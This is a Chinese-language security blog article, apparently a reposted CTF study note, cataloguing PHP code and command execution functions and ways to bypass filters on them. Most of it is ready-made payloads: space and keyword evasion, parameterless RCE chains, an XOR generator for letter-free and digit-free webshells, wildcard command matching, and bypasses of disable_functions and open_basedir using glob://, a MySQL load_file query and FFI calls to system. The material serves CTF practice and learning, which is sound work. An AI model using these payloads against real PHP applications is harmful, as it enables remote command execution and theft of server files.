技巧|PHP中的代码&命令执行-常见bypass方法
2023-3-11 20:13:18 Author: 亿人安全(查看原文) 阅读量:33 收藏

目录

  • PHP中的命令执行与代码执行

    • 常见的代码执行函数

    • 常见的命令执行函数:

    • 命令执行与代码执行

    • linux中用于打开文件的函数:

  • Trick

    • 特殊字符bypass

    • 重定义$GET bypass

    • 无参RCE

    • 无字母数字webshell

    • linux逻辑运算符

    • 通过匹配符:

    • 数字构造:

    • disable_function bypass

    • 提前终止

    • open_dir

    • 写文件利用

最近在复习之前学过得知识点。因为之前是0基础来学习的,所以很多东西可能是没有弄懂的。现在重新回顾一下命令执行这一块。学到了不少的知识。

命令执行与代码执行

在PHP中我们首先要搞清楚什么是代码执行,什么是命令执行。

通俗一点讲,代码执行是执行PHP代码。命令执行是执行linux系统下的命令。

这两者是有区别的。有些代码在php下看起来是有错的,但是在linux下是正确的。

在下面的文章里遇到了再分析。

常见的代码执行函数

在PHP中,允许我们自行传入php代码并执行。一般我们常用的有以下几种:

1.eval($string):
把参数中的字符串当做php代码执行。该字符串必须是合法的代码,且必须以分号结尾。
这里强调了合法代码和分号结尾。
我们可以理解为eval()执行了一个相当于为$string添加php短标签的功能即 <?php $string
当不能使用分号时,可以利用?>来代替。因为php语法中,最后一句php代码可以不闭合。
#这里需要格外指出,eval()是一个语言构造器而不是一个函数,不能被可变函数调用。
----------------------------------------------------------------------------------------

2.assert($assertion):
如果assertion是字符串,那么将会被assert()当作php代码执行。且可以不以分号结尾。
#在PHP7以前assert是作为函数。PHP7以后,assert与eval一样。都是语言构造器。这个知识点可能会出现在$_POST[1]($_POST[2])中

----------------------------------------------------------------------------------------

3.call_user_func($func,$string):
该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。

常见的命令执行函数:

在PHP中,允许我们执行系统程序命令。一般有以下函数:

1.system():
执行一个外部程序命令,并且输出执行结果,返回最后一行。
#这里理解一下输出执行结果,返回最后一行。是指先将命令执行的结果打印出来,然后再将最后一行作为返回值。
#可以理解为它函数内部存在一个 print($result);return last->result;这样子。
#如果命令中需要用空格分开的话,就需要对执行的命令加上引号。
-------------------------------------------------------------------------------------------------------------------
2.exec():
执行一个外部程序。并返回执行结果最后一行的内容。
#这里只返回执行结果的最后一行内容。不会有输出打印。
-------------------------------------------------------------------------------------------------------------------
3.passthru():
执行外部程序并且显示原始输出
-------------------------------------------------------------------------------------------------------------------
4.shell_exec():该函数等价于 ` `
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
#该函数不会显示执行结果。需要加echo才会打印输出结果。``是shell_exec()的简化形式。实际是同一个函数。
-------------------------------------------------------------------------------------------------------------------

linux中用于打开文件的函数:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容,搭配-c参数读内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看

特殊字符bypass

空格bypass:
1.%09
2.重定向 <>
3.${IFS}
4./**/ 注释符

单词bypass:
1.cat -->ca\t
2.flag -->fl\ag  fl''ag f*

字母bypass:
1.FLAG -->F[9-M][9-M]G

重定义$GET bypass

前提:存在代码执行函数
eavl($GET[1]);

1=$_GET[2]&2=phpinfo();

无参RCE

以下内容可自由搭配。并在php代码中调试。

highlight_file(next(array_reverse(scandir(pos(localeconv())))));




Localeconv()返回包含本地数字及货币格式信息的数组该函数的第一个值就是”.”
Cuurent()返回数组中当前元素的值
Next()指针指向下一个元素并且输出
Array_reverse()以相反的顺序返回数组
Print_r()打印变量
Higlight_file高亮显示文件,没什么好说的
Show_source跟highlight_file一样的效果。
Array_reverse倒序数组
Array_rand随机取出数组中的一个或多个单元
Array_filp交换数组的键和值
Readfile读文件
sessionid()返回当前会话ID
scandir(directory,sorting_order,context)以数组形式返回文件和目录第一个参数是目录,第二个是排序方式
pos取第一个值

无字母数字webshell

无字母数字webshell exp

异或型:

<?php
$l = "";
$r = "";
$argv = str_split("cat flag.php");//准备得到的字符串
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "('$l')^('$r')";
?>

取反型:

urlencode(~"phpinfo");
urlencode(~"system");

特殊型:

$ctfshow=$P=$_(C+3+1)(C+2)(C+XX)=$$P(1)($$P(2))

等价于

$ctfshow =$P=$_GET=$_GET(1)($_GET(2))

source . 命令:

使用source <文件名> 用当前的shell执行一个文件中的命令

如图。我现在flag.txt里面内容时cat test.txt
test.txt里面是hello world!

那么我使用source flag.txt 就会打开test.txt
而在linux下 source可以利用 . 代替

那么现在我们要做的就是上传一个flag.txt文件。再根据php的一个特性。

我们POST一个文件后,该文件会被保存到/tmp/phpXXXXXX  文件后六位是随机的大小写字母。我们可以用通配符,不影响。

如/???/???[-]??????  表示第三个位置是- 
并且我们再利用一个[@-]] 其中@表示ascii值64,[表示91.那么就可以读到大写字母了

linux逻辑运算符

当我们执行的代码中包含有我们不想执行的代码时。

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

通过匹配符:

利用通配符绕过限制,并且寻找唯一定向命令

/???/????64 ????????  -->匹配后是:?c=/bin/base64 flag.php 

/???/???/????2 ???????? --->匹配后是:?c=/usr/bin/bzip2 flag.php 会生成一个flag.php.bz2的文件
#之后访问这个文件即可

数字构造:

在LINUX下:
$(())=0
$((~$(())))=-1
为了方便理解。我们把-1设为a.即a=$((~$(())))=-1
那么$((aaaa))=-4 即这个表达式里面是默认加的
$((~$((aaaa))))=3 取反减1了。
那么我们直接构造37个a

disable_function bypass

预期解法:
因为我们不能利用命令执行去读取文件了。因此我们只能利用php的代码执行去读文件。常见的php读文件有
1. highlight_file()
2. file_get_contents()
3. show_source()
4. fgets()
5. file()
6. readfile()
其它姿势:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");

提前终止

当我们输入内容会被后方的代码更改时,可以提前终止代码执行。进而避免被更改

include("/flag.txt");die;或者include("/flag.txt");exit();

open_dir

1.glob绕过:

查找匹配的文件路径模式
例:
<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
那么我们要打印根目录所有文件:
#c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();

2.蚁剑插件bypass

3.数据库bypass

#payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."||";}exit();
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');//连接数据库

foreach($dbh->query('select load_file("/flag36.txt")') as $row)//利用load_file加载文件flag36.txt
{echo($row[0])."|"; }$dbh = null;}

catch (PDOException $e) {echo $e->getMessage();exit(0);}

exit(0);

4.FFI (PHP>7.4)

#payload:c=$ffi=FFI::cdef("int system(char *command);", "libc.so.6");$a='/readflag > 1.txt';$ffi->system($a);exit(); 

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a=''cat /flag36x.txt > 1.txt';//因为没有回显
$ffi->system($a);//通过$ffi去调用system函数
但是flag36x.txt是空的。那么我们执行readflag命令吧。

写文件利用

在某些题目中我们可能没有回显。这里就需要使用curl外带,如果curl外带没用给的话,就需要写文件了。

1.重定向写文件
echo "123">1.txt

2.tee管道写文件

ls|tee 1.txt

原文链接:https://www.freebuf.com/articles/web/359345.html

文章来源: http://mp.weixin.qq.com/s?__biz=Mzk0MTIzNTgzMQ==&mid=2247504290&idx=1&sn=ad22080952ed6a063be9a16ae451ded9&chksm=c2d71abaf5a093ac92582a7e0f67e104cc31ef95bc95b3ec6708eca01bfc5bc174b1d0050742#rd
如有侵权请联系:admin#unsafe.sh